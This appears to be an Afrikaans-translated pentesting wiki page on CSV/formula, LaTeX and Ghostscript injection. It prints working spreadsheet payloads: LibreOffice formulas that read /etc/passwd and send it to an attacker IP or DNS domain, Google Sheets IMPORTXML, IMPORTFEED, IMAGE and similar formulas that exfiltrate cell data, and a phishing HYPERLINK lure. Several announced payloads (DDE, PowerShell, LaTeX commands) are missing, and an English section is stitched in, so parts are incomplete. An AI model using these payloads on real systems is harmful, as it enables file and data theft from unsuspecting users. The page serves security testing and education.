Formula/CSV/Doc/LaTeX/GhostScript Injection
Probeer Hard Security Groep
Formule Insigting
Inligting
As jou insette binne CSV-lêers (of enige ander lêer wat waarskynlik deur Excel geopen gaan word) weerspieël word, kan jy moontlik Excel formules plaas wat uitgevoer sal word wanneer die gebruiker die lêer open of wanneer die gebruiker op 'n skakel klik binne die Excel-blad.
Tans sal Excel waarsku (veral kere) die gebruiker wanneer iets van buite die Excel gelaai word om hom te verhoed om kwaadwillige aksies te onderneem. Daarom moet daar spesiale aandag aan sosiale ingenieurswese gegee word vir die finale lading.
Skakel
Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek aan willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).
Die volgende voorbeeld is geneem van https://payatu.com/csv-injection-basic-to-exploit
Stel jou 'n sekuriteitsversteuring in 'n Studenterekordbestuurstelsel voor wat deur 'n CSV-inspuitingsaanval benut word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te compromitteer. Die metode behels dat die aanvaller 'n skadelike lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde bedoel vir studentbesonderhede. Die aanval ontvou as volg:
Inspuiting van Skadelike Lading:
Die aanvaller dien 'n studentbesonderheidsvorm in, maar sluit 'n formule in wat algemeen in spredingskryfers gebruik word (bv.,
=HYPERLINK("<skadelike_skakel>","Kliek hier")
).Hierdie formule is ontwerp om 'n skakel te skep, maar dit wys na 'n skadelike bediener wat deur die aanvaller beheer word.
Uitvoer van Gekompromitteerde Data:
Onderwysers, onbewus van die kompromis, gebruik die aansoek se funksionaliteit om die data na 'n CSV-lêer uit te voer.
Wanneer die CSV-lêer oopgemaak word, bevat dit steeds die skadelike lading. Hierdie lading verskyn as 'n kliekbare skakel in die sprei.
Aanval Ontketen:
'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede.
Na kliek word sensitiewe data (moontlik insluitend besonderhede uit die sprei of die onderwyser se rekenaar) na die aanvaller se bediener gestuur.
Data Log:
Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
Die aanvaller kan dan hierdie data gebruik vir verskeie skadelike doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromitteer.
RCE
Kyk na die oorspronklike pos vir verdere besonderhede.
In spesifieke opsette of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) benut word om willekeurige bevele uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
Navigeer na Lêer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer Dinamiese Data-uitruilbedieneraanvang.
Wanneer 'n sprei met die skadelike lading oopgemaak word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaarprogram te begin, sou die lading wees:
Addisionele bevele kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lêer met behulp van PowerShell:
Plaaslike Lêer Insluiting (LFI) in LibreOffice Calc
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data uit te voer. Hier is 'n paar metodes:
Die lees van die eerste lyn van die plaaslike
/etc/passwd
lêer:='file:///etc/passwd'#$passwd.A1
Uitvoer van die geleesde data na 'n aanvaller-beheerde bediener:
=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Uitvoer van meer as een lyn:
=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS uitvoer (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<aanvaller domein>"))
Google Sheets vir Out-of-Band (OOB) Data Uitvoer
Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer:
CONCATENATE: Voeg strings saam -
=CONCATENATE(A2:E2)
IMPORTXML: Importeer data van gestruktureerde datatipes -
=IMPORTXML(CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importeer RSS of ATOM voer -
=IMPORTFEED(CONCAT("http://<aanvaller IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importeer data van HTML tabelle of lyste -
=IMPORTHTML (CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importeer 'n reeks selles van 'n ander sigblad -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Voeg 'n prent in 'n sel -
=IMAGE("https://<aanvaller IP:Port>/images/srpr/logo3w.png")
LaTeX Inspruiting
Gewoonlik gebruik die bedieners wat jy op die internet vind wat LaTeX-kode na PDF omskakel die pdflatex
.
Hierdie program gebruik 3 hoof eienskappe om opdrag uit te voer of te verhoed:
--no-shell-escape
: Deaktiveer die\write18{opdrag}
konstruksie, selfs as dit in die texmf.cnf lêer geaktiveer is.--shell-restricted
: Dieselfde as--shell-escape
, maar beperk tot 'n 'veilige' stel voorgedefinieerde **opdragte (**Op Ubuntu 16.04 is die lys in/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Aktiveer die\write18{opdrag}
konstruksie. Die opdrag kan enige skel opdrag wees. Hierdie konstruksie word normaalweg verhoed vir veiligheidsredes.
Daar is egter ander maniere om opdragte uit te voer, dus om RCE te vermy is dit baie belangrik om --shell-restricted
te gebruik.
Lees lêer
Jy mag nodig wees om inspuiting aan te pas met omhulsels soos [ of $.
Lees enkellynige lêer
Lees 'n lêer met meerdere lyne
Skryf lêer
Opdrag uitvoering
Die inset van die opdrag sal na stdin omgelei word, gebruik 'n tydelike lêer om dit te kry.
Ghostscript Injection in CSV to LaTeX Conversion
Description:
In this attack, the hacker injects malicious PostScript code into a CSV file that is later converted to a LaTeX document. When the LaTeX document is compiled using Ghostscript, the injected PostScript code gets executed, allowing the hacker to potentially take control of the system.
Attack Scenario:
The hacker crafts a CSV file containing the malicious PostScript code.
The CSV file is converted to a LaTeX document using a tool or script.
The LaTeX document is compiled using Ghostscript.
The injected PostScript code is executed within the Ghostscript environment.
The hacker gains unauthorized access or performs other malicious activities on the system.
Mitigation:
Input Validation: Validate and sanitize user input to prevent malicious code injection.
Restricted Permissions: Limit the permissions of the tool converting CSV to LaTeX.
Update Software: Keep all software and libraries up to date to patch any known vulnerabilities.
Kruiswebinskrywing
Van @EdOverflow
Ghostscript Injeksie
Kyk https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Verwysings
Probeer Hard Security Group
Last updated